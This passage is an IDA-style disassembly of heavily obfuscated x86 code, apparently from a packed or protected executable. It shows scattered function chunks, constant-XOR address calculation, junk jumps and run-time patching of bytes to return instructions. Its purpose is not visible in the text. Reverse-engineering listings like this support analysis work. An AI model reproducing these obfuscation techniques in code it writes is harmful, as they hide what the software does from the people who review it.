arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044608D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446655 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0045635E SIZE 00000012 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_442503
		mov	eax, 78BDA40Ah
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		jmp	loc_45635E
sub_43D767	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, ds:dword_457D5C
		mov	ebx, [edx]
		sub	ebx, eax
		mov	ecx, [ebp-4]
		mov	eax, 1
		shl	eax, cl
		not	eax
		and	ebx, eax
		jmp	loc_458FD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_43D79D:				; CODE XREF: sub_448800:loc_459376j
		jo	loc_455F22
		push	esi
		push	0B6585F11h
		pop	esi
		xor	esi, 5B789CCDh
		sub	esi, 4C027917h
		xor	esi, 1FDDCFD8h
		jmp	loc_440814
; END OF FUNCTION CHUNK	FOR sub_448800

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D7C1	proc near		; CODE XREF: sub_43FAE1-5AD7p
					; sub_4515EB-14576j ...
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		push	offset loc_440E40
		jmp	nullsub_27
sub_43D7C1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_43D7D3:				; CODE XREF: sub_45288A+74A7j
		jmp	loc_43DA60
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_43D7D8:				; CODE XREF: sub_43BA0E+11694j
		jmp	loc_455C4C
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B81

loc_43D7DE:				; CODE XREF: sub_445B81+Cj
		jnz	loc_43EFF3
		jmp	loc_44DE97
; END OF FUNCTION CHUNK	FOR sub_445B81
; ---------------------------------------------------------------------------
		mov	ds:off_41D1E8, eax
		lea	eax, loc_43ADAD
		mov	byte ptr [eax],	0C3h
		jmp	loc_457A1C

; =============== S U B	R O U T	I N E =======================================



sub_43D7FD	proc near		; CODE XREF: sub_419430+67p
					; sub_43D7FD+5j
					; DATA XREF: ...
		call	sub_43D80D
		jmp	ds:off_41D1EC
sub_43D7FD	endp

; ---------------------------------------------------------------------------

loc_43D808:				; CODE XREF: dviuq5id:0043E92Bj
		jmp	locret_458497

; =============== S U B	R O U T	I N E =======================================



sub_43D80D	proc near		; CODE XREF: sub_43D7FDp
					; sub_4441DD+BB8Dj ...
		call	sub_44BDEB

loc_43D812:				; CODE XREF: sub_43CB4C+163C4j
		jmp	nullsub_28
sub_43D80D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43D817:				; CODE XREF: sub_439C09:loc_4489CDj
		pop	edx
		xor	edx, 2AB2E864h
		test	edx, 100h
		jmp	loc_45768A
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BC0

loc_43D829:				; CODE XREF: sub_459BC0-179E0j
		sub	esi, 774C9D32h
		pushf

loc_43D830:				; CODE XREF: sub_459BC0:loc_44367Fj
		mov	eax, [ebp-4]
		call	sub_43B48A
; END OF FUNCTION CHUNK	FOR sub_459BC0
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_43D838:				; CODE XREF: sub_43B24C+10j
		jmp	loc_4439B6
; END OF FUNCTION CHUNK	FOR sub_43B24C

; =============== S U B	R O U T	I N E =======================================



sub_43D83D	proc near		; CODE XREF: sub_43BD72+97DFp
					; dviuq5id:00456E04j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043997B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004427D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444A8E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447CA9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00447FC4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00449789 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004497FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A587 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CB4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F61A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452676 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00455D46 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456F6B SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0D05EBE67h
		pop	eax
		xor	eax, 0A5C77634h
		jmp	loc_447CA9
sub_43D83D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_43D852:				; CODE XREF: sub_44250B-71AFj
		add	eax, 28h
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_451C60
		jmp	loc_4543BA
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_43D869:				; CODE XREF: sub_44C2F6:loc_444BCAj
		and	ecx, ebx
		push	5F8DC339h
		or	edx, 7370CAFh
		jmp	loc_445F10
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44045F

loc_43D87B:				; CODE XREF: sub_44045F:loc_44590Dj
		jnz	loc_4402F6
; END OF FUNCTION CHUNK	FOR sub_44045F
; START	OF FUNCTION CHUNK FOR sub_457E1F

loc_43D881:				; CODE XREF: sub_457E1F+Dj
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_457E1F
; ---------------------------------------------------------------------------

loc_43D886:				; CODE XREF: dviuq5id:0045437Fj
		jmp	loc_457866
; ---------------------------------------------------------------------------

loc_43D88B:				; CODE XREF: dviuq5id:00448FA8j
		jmp	loc_4494CB
; ---------------------------------------------------------------------------
		shl	ebx, 8
		add	esi, 976E6C7h
		jmp	loc_4402F6

; =============== S U B	R O U T	I N E =======================================



sub_43D89E	proc near		; CODE XREF: sub_43C710+3F91p
					; dviuq5id:00442705j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043F360 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	edi, [esp-4+arg_0]
		jmp	loc_43F360
sub_43D89E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43D8AA	proc near		; CODE XREF: dviuq5id:00454040j
					; dviuq5id:00459ED6p

; FUNCTION CHUNK AT 00457DB9 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		jmp	loc_457DB9
sub_43D8AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D8B6:				; CODE XREF: dviuq5id:00439987j
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx

loc_43D8BC:				; CODE XREF: dviuq5id:loc_44B842j
		xchg	ebp, [esp]
		call	sub_44952D
		jmp	loc_45696C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_43D8C9:				; CODE XREF: sub_44B624+1089j
		and	eax, 0A7607545h
		or	eax, 1BF1F769h
		jns	loc_457871
		cmp	edi, 16EF1DE8h
		jmp	loc_441070
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
		or	eax, 0F4C74313h
		jmp	loc_44A44B
; ---------------------------------------------------------------------------

loc_43D8F1:				; CODE XREF: dviuq5id:0044622Aj
		or	eax, 9C96AB4Eh
		rol	eax, 6

loc_43D8FA:				; CODE XREF: dviuq5id:loc_4424CFj
		or	eax, 9F90F14Bh
		add	eax, 4048E70Dh
		mov	eax, [eax]
		mov	edx, [ebp-4]
		jmp	loc_444203
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43D911:				; CODE XREF: sub_440898-3FBAj
		jmp	loc_445C43
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_43D916	proc near		; DATA XREF: dviuq5id:0043A858o
		lea	eax, sub_4535DC
		mov	byte ptr [eax],	0C3h
		jmp	sub_4535DC
sub_43D916	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4535DC

loc_43D924:				; CODE XREF: sub_4535DC+6j
		mov	eax, [esp+0]
		push	ecx
		jmp	loc_44D22C
; END OF FUNCTION CHUNK	FOR sub_4535DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448F69

loc_43D92D:				; CODE XREF: sub_448F69:loc_447F9Bj
		xchg	edi, [esp+8+var_8]

loc_43D930:				; CODE XREF: dviuq5id:loc_451697j
		mov	ecx, edi
		pop	edi
		add	ecx, 0B563F515h
		or	ecx, 481C2673h
		jns	loc_4420AB
; END OF FUNCTION CHUNK	FOR sub_448F69
; START	OF FUNCTION CHUNK FOR sub_443481

loc_43D945:				; CODE XREF: sub_443481+5j
		jmp	nullsub_40
; END OF FUNCTION CHUNK	FOR sub_443481
; ---------------------------------------------------------------------------
		cmp	esi, ecx
		jmp	loc_44D4B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_43D951:				; CODE XREF: sub_448FC7-877Dj
		sub	ebx, 398AA899h
		jg	loc_44C03E
		jmp	loc_439355
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9A5

loc_43D962:				; CODE XREF: sub_43B9A5+638Aj
		jz	loc_44BE91
		jmp	loc_44FDEB
; END OF FUNCTION CHUNK	FOR sub_43B9A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440405

loc_43D96D:				; CODE XREF: sub_440405:loc_457D0Fj
		xchg	ecx, [esp+4+var_4]
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		push	0
		push	offset loc_445F94
		jmp	loc_454505
; END OF FUNCTION CHUNK	FOR sub_440405
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_43D981:				; CODE XREF: sub_43CBD5+18B8Ej
		push	edi
		mov	edi, edx
		call	sub_44AE26
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_43D989:				; CODE XREF: sub_446B53+A9E1j
		jmp	sub_453ECC
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AA3

loc_43D98E:				; CODE XREF: sub_449AA3+18j
		jmp	loc_43F576
; END OF FUNCTION CHUNK	FOR sub_449AA3
; ---------------------------------------------------------------------------

loc_43D993:				; CODE XREF: dviuq5id:00441398j
		js	loc_450C5F
; START	OF FUNCTION CHUNK FOR sub_456002

loc_43D999:				; CODE XREF: sub_456002:loc_457A9Aj
		xor	eax, 9AC9B70Bh
		or	eax, 57FA5DCDh
		add	eax, (offset loc_4562FC+4)
		xchg	eax, [esp+4+var_4]
		jmp	sub_43FEBB
; END OF FUNCTION CHUNK	FOR sub_456002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_43D9B3:				; CODE XREF: sub_457566:loc_453D91j
		or	eax, 0FBE0D32Fh
		add	eax, 4523961h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44B8B5
		jmp	loc_453030
; END OF FUNCTION CHUNK	FOR sub_457566

; =============== S U B	R O U T	I N E =======================================



sub_43D9CE	proc near		; CODE XREF: dviuq5id:004527A4j
					; sub_454267:loc_45632Ep

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00442FF2 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edi, 5D940E5Ch
		xchg	edi, [esp-4+arg_0]
		jmp	loc_442FF2
sub_43D9CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D9E0:				; CODE XREF: dviuq5id:0045866Fj
		jnz	loc_43C428
		jmp	loc_43F571
; ---------------------------------------------------------------------------
		jbe	loc_43BDF2
		jmp	loc_453CA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43D9F6:				; CODE XREF: sub_43FA59-371j
		mov	ebx, 0E21A987Bh
		ror	edx, 7

loc_43D9FE:				; CODE XREF: sub_43FA59:loc_43B31Fj
		lea	eax, [ebp-26Fh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_452033
		jmp	loc_454E04
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_43DA15	proc near		; CODE XREF: sub_43D73F+5p
					; dviuq5id:004575C3j

arg_4		= dword	ptr  8
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0043FE46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044680E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C0CB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044F4AF SIZE 0000001D BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	3243160Dh
		pop	edi
		jmp	loc_43FE46
sub_43DA15	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_43DA24:				; CODE XREF: sub_44FCBC:loc_45962Bj
		xor	eax, edx
		pop	edx
		mov	edx, [esp+0]
		push	eax
		mov	eax, edx
		call	sub_44FD8E
		jmp	loc_44D16C
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_43DA37:				; CODE XREF: sub_4509F7:loc_43BBC7j
		xor	eax, 676E206Dh
		ror	eax, 8
		jmp	loc_44D4EC
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
		call	sub_456F43
		mov	edx, 0F2B89A19h
		call	sub_449EB7
		push	ebx
		push	727C24B6h
		pop	ebx
		jmp	loc_43D4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_43DA60:				; CODE XREF: sub_45288A:loc_43D7D3j
		push	offset loc_4432BE
		jmp	loc_45400D
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_43DA6A:				; CODE XREF: sub_43E4A4+A770j
		rol	ecx, 2
		add	ecx, 320C76F0h
		popf
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_4401D6
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_43DA7C:				; CODE XREF: sub_44A15A:loc_4591D8j
		jz	loc_4428B1
		jmp	loc_43BBD3
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_43DA87:				; CODE XREF: sub_459804-1618j
		jge	loc_448895
		jmp	loc_439D64
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43DA92:				; CODE XREF: sub_43CB4C-3859j
		jl	loc_43C7D1
		or	edi, esi

loc_43DA9A:				; CODE XREF: sub_43CB4C:loc_4392E8j
		and	ecx, 0CAC1214Bh
		add	ecx, 92251427h
		and	ecx, 0A31FE977h
		add	ecx, 3D7A55h
		jmp	loc_4512EC
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		push	0E29C7019h
		jmp	sub_4499A3
; ---------------------------------------------------------------------------

loc_43DAC1:				; DATA XREF: dviuq5id:00449D9Ao
		lea	eax, [ebp-34h]
		push	eax
		mov	eax, [ebp-4]
		push	edi
		mov	edi, eax
		jmp	loc_4437FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43DAD0:				; CODE XREF: sub_4525D0-424Cj
		shl	eax, 17h
		push	ebp
		shl	ebp, 10h
		jmp	loc_449FC8
; END OF FUNCTION CHUNK	FOR sub_4525D0

; =============== S U B	R O U T	I N E =======================================



sub_43DADC	proc near		; CODE XREF: sub_449EB7:loc_451E8Fp
					; sub_43C9A9+1B08Ej
		xchg	edx, [esp+0]
		pop	edx
		add	eax, 3Ch
		push	offset loc_43AF2F
		jmp	nullsub_29
sub_43DADC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_43DAED:				; CODE XREF: sub_450686:loc_45448Aj
		xchg	esi, [esp+8+var_8]
		mov	edx, esi
		pop	esi
		and	edx, 0FC368626h
		add	edx, 3EA9A39Eh
		rol	edx, 11h
		jmp	loc_44F1F6
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43DB07:				; CODE XREF: sub_43FA59:loc_442F75j
		mov	eax, edi
		xchg	eax, [esp+0]
		push	3E6E9722h
		sbb	edi, esi
		jmp	loc_456021
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_43DB18:				; CODE XREF: dviuq5id:00453D9Dj
		xchg	ebx, [eax]
		xor	edx, 8D9E8041h
; START	OF FUNCTION CHUNK FOR sub_457566

loc_43DB20:				; CODE XREF: sub_457566:loc_453D8Bj
		sub	eax, 16A9FC6Bh
		xor	eax, 0BE6E5A2Dh
		call	sub_43BD72
; END OF FUNCTION CHUNK	FOR sub_457566
; START	OF FUNCTION CHUNK FOR sub_4572AA

loc_43DB31:				; CODE XREF: sub_4572AA:loc_43C7AFj
		xor	ecx, 0CC697093h
		push	offset loc_44F4F0
		jmp	loc_4587D8
; END OF FUNCTION CHUNK	FOR sub_4572AA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_43DB42:				; CODE XREF: sub_45844D-1D265j
		jmp	sub_458D34
; END OF FUNCTION CHUNK	FOR sub_45844D

; =============== S U B	R O U T	I N E =======================================



sub_43DB47	proc near		; DATA XREF: sub_4579D1-1A9BDo
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_4592D7
		mov	byte ptr [eax],	0C3h
		jmp	sub_4592D7
sub_43DB47	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43DB58	proc near		; CODE XREF: sub_41A138+3Bp
					; sub_43DB58+5j
					; DATA XREF: ...
		call	sub_43DB63
		jmp	ds:off_41D0D0
sub_43DB58	endp


; =============== S U B	R O U T	I N E =======================================



sub_43DB63	proc near		; CODE XREF: dviuq5id:00439CB2j
					; sub_43DB58p ...
		pop	edx
		push	offset loc_4547C3
		jmp	nullsub_30
sub_43DB63	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43DB6E:				; CODE XREF: sub_439C09:loc_43DF2Aj
		xor	ebx, 4B956553h
		and	edx, ecx
		shl	ebx, 1Eh
		mov	ebx, edi
		jmp	loc_44031F
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
		add	esi, ecx
		test	ebp, 0E222AF02h
		jmp	loc_44F4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44818A

loc_43DB8D:				; CODE XREF: sub_44818A-D0AAj
		push	2
		push	0
		push	offset loc_43F750
		jmp	loc_44AC3A
; END OF FUNCTION CHUNK	FOR sub_44818A
; ---------------------------------------------------------------------------
		xor	ecx, 7079303Ch
		jmp	loc_458D98
; ---------------------------------------------------------------------------

loc_43DBA6:				; CODE XREF: dviuq5id:loc_44F9F5j
		sub	ebx, 32FE58B6h
		jmp	sub_450F3F
; ---------------------------------------------------------------------------
		push	offset sub_44E89E
		jmp	loc_4407FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_43DBBB:				; CODE XREF: sub_44E1C0:loc_4407BFj
		push	eax
		popf
		jmp	loc_446731
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BFB

loc_43DBC2:				; CODE XREF: sub_440BFB+Fj
		xor	ecx, 432448DEh
		or	ecx, 0C9A3CC05h
		rol	ecx, 6
		add	ecx, 14503DE9h
		xchg	ecx, [esp+0]
		jmp	sub_454E7C
; END OF FUNCTION CHUNK	FOR sub_440BFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_43DBDF:				; CODE XREF: sub_44B624:loc_441963j
		mov	edx, 3BD2EC5Ch
		jmp	loc_445B21
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43DBE9:				; CODE XREF: sub_454094-2775j
		jg	loc_43A2FE
		jmp	loc_44DB1E
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43DBF4:				; CODE XREF: sub_44B2EA:loc_458B13j
		pop	edx
		mov	eax, [esp+0]
		call	sub_446C41

loc_43DBFD:				; DATA XREF: sub_44F3BF+9961o
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_453D30
		or	eax, eax
		jnz	loc_43A278
		jmp	loc_459F17
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

loc_43DC13:				; CODE XREF: dviuq5id:0044DD59j
		jl	loc_459289
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_43DC19:				; CODE XREF: sub_44E491+6A94j
		jmp	loc_442A48
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F7A

loc_43DC1E:				; CODE XREF: sub_451F7A+Fj
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_451F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43DC23:				; CODE XREF: sub_459385:loc_44839Fj
		jmp	loc_44CBC6
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		test	ecx, 0F8A3F9D8h
		jmp	loc_455176
; ---------------------------------------------------------------------------

loc_43DC33:				; DATA XREF: dviuq5id:00445617o
		push	3D17A0CAh
		pop	ecx
		add	ecx, 20889909h

loc_43DC3F:				; CODE XREF: dviuq5id:loc_45257Ej
		sub	ecx, 4E159B7Eh
		xor	ecx, 5C481A1Ch
		jmp	loc_44E13E
; ---------------------------------------------------------------------------
		js	loc_4533B5
		jmp	loc_43E49F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_43DC5B:				; CODE XREF: sub_459983:loc_439E7Bj
		sbb	esi, 85BE3B7Dh
		rol	ebx, 11h
		jmp	loc_4423AC
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445260

loc_43DC69:				; CODE XREF: sub_445260+15j
		add	edi, 4DD109h
		xchg	edi, [esp+0]
		jmp	sub_45A310
; END OF FUNCTION CHUNK	FOR sub_445260
; ---------------------------------------------------------------------------
		push	ecx
		push	0ABC821AEh
		pop	ecx
		and	ecx, 0ECE7A67h
		rol	ecx, 1Eh
		add	ecx, 7D8FC7F7h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_44E525
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_43DC95:				; CODE XREF: sub_44279B:loc_4468CBj
					; dviuq5id:004468E3j
		add	esi, 0B9C67D7Dh
		xchg	esi, [esp+0]
		jmp	loc_439ED9
; END OF FUNCTION CHUNK	FOR sub_44279B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_391. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_43DCA4:				; CODE XREF: sub_43CC42+11810j
		jmp	loc_450E6D
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
		cmp	esi, 3E020D20h
		jmp	loc_4446B0

; =============== S U B	R O U T	I N E =======================================



sub_43DCB4	proc near		; CODE XREF: dviuq5id:0043A686p
					; dviuq5id:0045401Ej

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439CF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A2CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A475 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448CB8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A035 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044DD79 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044EF9E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00451F4A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00452F59 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004551EB SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_441C54
		or	eax, eax
		jnz	loc_4551EB
		jmp	loc_439CF1
sub_43DCB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43DCCA:				; CODE XREF: dviuq5id:loc_44BB3Dj
		and	ebx, 5EDDAE6Dh
		and	ebp, 0AD4ECA06h
		or	ebx, esi
		jmp	loc_44D3C7
; ---------------------------------------------------------------------------
		push	ecx
		push	eax
		pop	ecx
		xchg	ecx, [esp]
		push	edi
		call	sub_44267B
; START	OF FUNCTION CHUNK FOR sub_456253

loc_43DCE9:				; CODE XREF: sub_456253-2061j
		jmp	loc_439F26
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E255

loc_43DCEE:				; CODE XREF: sub_44E255+18j
		jmp	loc_4539DF
; END OF FUNCTION CHUNK	FOR sub_44E255
; ---------------------------------------------------------------------------

loc_43DCF3:				; CODE XREF: dviuq5id:0043E38Cj
		jmp	locret_440BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_43DCF8:				; CODE XREF: sub_4393C3:loc_43DD6Aj
		pop	ebx
		xor	ebx, 765AF98Dh
		or	ebx, 738CE30Bh
		and	ebx, 0A81323AFh
		xor	ebx, 9CCBE777h
		add	edx, ebx
		call	sub_43927C

loc_43DD18:				; CODE XREF: dviuq5id:00451AEDj
		jmp	nullsub_525
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A54F

loc_43DD1D:				; CODE XREF: sub_43A54F+12j
		jmp	loc_43F935
; END OF FUNCTION CHUNK	FOR sub_43A54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_43DD22:				; CODE XREF: sub_43FAE1:loc_44A55Ej
		pop	ebp
		push	0C7202C04h
		pop	eax
		and	eax, ds:4000F7h
		test	eax, 80000h
		jmp	loc_439ED4
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------

loc_43DD3A:				; CODE XREF: dviuq5id:loc_43B770j
		jz	loc_44EE5D
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_43DD40:				; CODE XREF: dviuq5id:00444AC0j
					; sub_4427AE+121DBj
		jmp	loc_440038
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
		not	edx
		jmp	loc_44EE51
; ---------------------------------------------------------------------------
		xchg	ecx, edi
		jmp	loc_440597
; ---------------------------------------------------------------------------
		db 0F7h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 73h,	0D6h, 9Eh
		dd 0ECF5E97Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_43DD5E:				; DATA XREF: sub_455981-4D2Do
		mov	ds:dword_441E7C, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45055F

loc_43DD65:				; CODE XREF: sub_45055F+12j
		jmp	loc_43A9CE
; END OF FUNCTION CHUNK	FOR sub_45055F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_43DD6A:				; CODE XREF: sub_4393C3+678j
		jmp	loc_43DCF8
; END OF FUNCTION CHUNK	FOR sub_4393C3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DD6F	proc near		; CODE XREF: sub_44E2FAj

; FUNCTION CHUNK AT 0043B910 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043EED2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442A7F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442A98 SIZE 00000009 BYTES
